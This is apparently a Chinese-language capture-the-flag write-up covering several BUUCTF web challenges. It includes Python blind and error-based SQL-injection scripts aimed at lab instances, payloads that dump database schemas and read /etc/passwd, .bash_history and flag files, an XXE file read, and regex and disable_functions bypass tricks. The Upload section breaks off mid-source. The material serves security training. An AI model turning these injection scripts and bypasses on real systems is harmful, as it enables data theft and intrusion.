4月做题

happyctfd

刚开始看这个非常怕…后来谷歌了一下ctfd的cve直接打穿,这题就是弟弟

https://copyfuture.com/blogs-details/20200305225221297r8myv7xpvv0lqr0

登陆后台后把数据导出就拿到flag了

flag{1b236e8e-8f64-461d-a973-7059e706aeec}

finalsql

有两处注入点

第一处:

/search.php?id=1

黑名单:hex,if, ,and

payload:/search.php?id=1/(((select(ord(substr(group_concat(table_name),20,1)))from(information_schema.tables)where(table_schema=database()))-31)>0)

盲注脚本:

import requests
import time
#修改bigger和sqlinj就好


#实现bigger才能使用
def findByDichotomy(begin,end):
	max_num=end
	while True:
		mid=int((begin+end)/2)
		if begin==max_num:
			return False
		if begin==end:
			return begin
		if end-begin==1:
			if bigger(begin):
				return end
			else:
				return begin
		if bigger(mid):
			begin=mid+1
		else:
			end=mid

#待求数据大于num
def bigger(num):
	return sqlinj(num)
def less(num):
	pass
def equal(num):
	pass

def sqlinj(num):
	

	burp0_url = "http://ff83c0e6-205f-4296-a512-fe2919cdeda4.node3.buuoj.cn:80/search.php?id=1/(((select(ord(substr(group_concat(username,',',password),POS,1)))from(F1naI1y))-GUESS)>0)".replace("GUESS",str(num)).replace("POS",str(pos))
	burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.162 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://ff83c0e6-205f-4296-a512-fe2919cdeda4.node3.buuoj.cn/", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
	res=requests.get(burp0_url, headers=burp0_headers)
	time.sleep(0.5)
	print("test ",num)
	if "NO! Not this! Click others~~~" in res.text:
		return True
	else:
		return False


result="mygod,cl4y_is_really_amazing,welcome,welcome_to_my_blog,site,http://www.cl4y.top,site,http://www.cl4y.top,site"
pos=len(result)+1
while True:
	num=findByDichotomy(32,128)
	if num is False:
		print(result)
		break
	result+=chr(num)
	print(result)
	pos+=1

数据库:information_schema,test,performance_schema,mysql,geek

F1naI1y,Flaaaaag

Flaaaaag:id,fl4gaws

F1naI1y:id,username,password

mygod,cl4y_is_really_amazing,welcome,welcome_to_my_blog,site,http://www.cl4y.top,site,http://www.cl4y.top,site,http://www.cl4y.top,site,http://www.cl4y.top,Syc,welcom_to_Syclover,finally,cl4y_really_need_a_grilfriend,flag,flag{2e7c980e-7fff-443b-8d1a-1371eaa326ba}

测试后第二次发现不如第一处好用,就不写了

checkin

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

去fd找flag

flag{7410ef7f-b10e-4da4-9beb-29f304fec028}

so easy

blanklist

堆叠注入,handle代替select

flag{dad3eb12-8877-4ea8-8bfe-98ac99a93715}

枯燥的抽奖

<?php
#这不是抽奖程序的源代码！不许看！
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖，就是那么枯燥且无味，给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦，再试试吧</p>";
    }
}
show_source("check.php");

用php_mt_rand来爆破

flag{1c171630-aee4-400c-b629-a9e457cbe15e}

一定要去https://www.openwall.com/php_mt_seed/下载,不要去github的镜像下载,把我坑死了

comment

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";#category=result' ,bo_id='1\
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";#insert into comment set category = 'result' bo_id='1\',content='',bo_id='xxx';
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

需要登陆才能留言

爆破可知: zhangwei / zhangwei666 (我吐了爆破半天没出来还是谷歌的,谁知道后面是全数字)

代码审计发现经典的二次注入啊

因为没有报错所以不知道自己的语句是否正确就调了很久

令catagory='\\',

content=%2Ccontent%3D0x6464646464%2Cbo_id%3D1%2F*&bo_id=1*/%23
content=%2Ccontent%3D(SELECT+group_concat(schema_name)+FROM+information_schema.schemata)%2Cbo_id%3D1%2F*&bo_id=1*/%23

去把数据库dump下来后发现没啥东西

接着去试试读取文件

发现可以读取文件

读取/etc/passwd得到

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false
www:x:500:500:www:/home/www:/bin/bash

发现只有一个可以登陆的用户:www

查看他的.bash_history

cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

发现他要删除.DS_Store防止我们知道目录结构,但是/tmp目录是没有这个文件的,也就是所/tmp/www下有.DS_Store文件,拿到文件解析后得到flag文件名

bootstrap
comment.php
css
flag_8946e1ff1ee3e40f.php
fonts
index.php
js
login.php
mysql.php
vendor
write_do.php

fakexml

存在xxe

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

直接读取/flag得到flag:flag{663e8e72-be03-4533-a4cd-c44452942287}

rce_me

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

代码很简单,但是限制有点麻烦,我们利用~来绕过不允许字母和数字的限制

因为是一个语言构造器而不是一个函数，不能被 可变函数 调用。

所以不能直接(~"eval的~")("xxxxx"),都没总结这些命令,导致我过了很久才想起assert

disable_function:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

要读取flag必须命令执行,但是根据phpinfo,他禁用了system,exec等等用https://github.com/mm0r1这个大佬的脚本来绕过

flag{c7e5be35-729b-4bd0-aacd-c7a1eb98ddea}

RCEService

允许的字符: ,:,a-z,{,}

黑名单:pwd,echo

刚开始以为是假的命令执行,看到报错后发现这是真的

Warning</b>:  system() expects parameter 1 to be string, array given in <b>/var/www/html/index.php

那先想办法读取index.php,测试后发现是用$_REQUEST来接受数据

后来实在没想法就去百度了,看到的wp都是清一色的直接给源码?????您们源码哪来的

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

用换行来绕过preg_match或者输入足够长的字符来绕过preg的回溯次数

CyberPunk

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
        <h2>2077发售了,不来份实体典藏版吗?</h2>
        <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
        <div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <h3>提交订单</h3>
                <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button>
                </form>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);#日穿
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>订单查询</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a> 
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>    
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>修改收货地址</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>删除订单</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>
<div id="f">
    <div class="container">
		<div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

confirm.php

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
        <img class="logo" src="./assets/img/logo-zh.png">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
                <a href="./index.php">
                <button class='btn btn-lg  btn-sub btn-white'>返回</button>
                </a>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

阅读代码发现,search处有sql注入,但是有以下限制:'/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

change处有明显的二次注入,无限制,但是是update

"update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

我们利用报错注入来获取回显

information_schema,test,performance_schema,ctftraining,mysql,ctfusers
ctftraining:FLAG_TABLE,news,users
FLAG_TABLE:FLAG_COLUMN
users:id,username,password,ip,time
news:id,title,content,time
ctfusers:user
user:user_id,address,old_address,user_name,phone

1dogThe domestic dog (Canis lupus familiaris when considered a subspecies of the wolf or Canis familiaris when considered a distinct species)[4] is a member of the genus Canis (canines), which forms part of the wolf-like canids,[5] and is the most widely abundant terrestrial carnivore.1571838684,2catThe cat or domestic cat (Felis catus) is a small carnivorous mammal.[1][2] 
It is the only domesticated species in the family Felidae.[4] The cat is either a house cat, kept as a pet, or a feral cat, freely ranging and avoiding human contact.1571838684,3birdBirds, also known as Aves, are a group of endothermic vertebrates, characterised by feathers, toothless beaked jaws, the laying of hard-shelled eggs, a high metabolic rate, a four-chambered heart, and a strong yet lightweight skeleton.1571838684,4flagFlag is in the database but not here.1571838684

1,admin,21232f297a57a5a743894a0e4a801fc3,127.0.0.1,1571838684,2,guest,084e0343a0486ff05530df6c705c8bb4,127.0.0.1,1571838684,3,virink,a4346e75cc1dd161a8d57f3b2d5d82d0,127.0.0.1,1571838684  

/etc/passwd

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

dbf39bacca9e.log

艹,最后百度下发现flag再flag.txt里面

flag{c90595fb-9a36-4257-ba55-9181d7584edc}

附上脚本:

import requests
import random
import re
import time
def sql_inj(sql):
    num=random.randint(0,9999999999)
    result=""
    count=1
    while True:
        burp0_url = "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn/confirm.php"
        burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://9f5e00e9-1ee3-46ec-bc40-5d37fcbb00a2.node3.buuoj.cn/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
        burp0_data = {"user_name": num, "phone": num, "address": "'+(updatexml(1,concat(0x7e,substr(({sql}),{count},30),0x7e),1))#".format(sql=sql,count=count)}
        res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

        burp0_url = "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn/change.php"
        burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://9f5e00e9-1ee3-46ec-bc40-5d37fcbb00a2.node3.buuoj.cn/change.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
        burp0_data = {"user_name": num, "phone": num, "address": num}
        res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
        print(res.text)
        tmp=re.match(r'.*~(.*)~.*',res.text,flags=re.DOTALL).group(1)
        result+=tmp
        print(result)
        if tmp.strip() is "":
            break
        count+=30
        num+=1
        time.sleep(0.5)

sql_inj("SELECT (load_file('/flag.txt'))")

Upload

报错后发现thinkphp的壳披着Discuz的皮,观察cookie发现,存在反序列化点

扫目录后,从www.tar.gz中拿到源码,从源码中很容易构造pop链

payload:

<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
    public $profile;
    public $profile_db;

    public function index()
    {
        if($this->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
            $this->redirect($curr_url,302);
            exit();
        }
        return $this->fetch("index");
    }

    public function home(){
        if(!$this->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }

        if(!$this->check_upload_img()){
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("upload");
        }else{
            $this->assign("img",$this->profile_db['img']);
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("home");
        }
    }

    public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            #$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff(array(1,1,1),$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

    public function check_upload_img(){
        if(!empty($this->profile) && !empty($this->profile_db)){
            if(empty($this->profile_db['img'])){
                return 0;
            }else{
                return 1;
            }
        }
    }

    public function logout(){
        cookie("user",null);
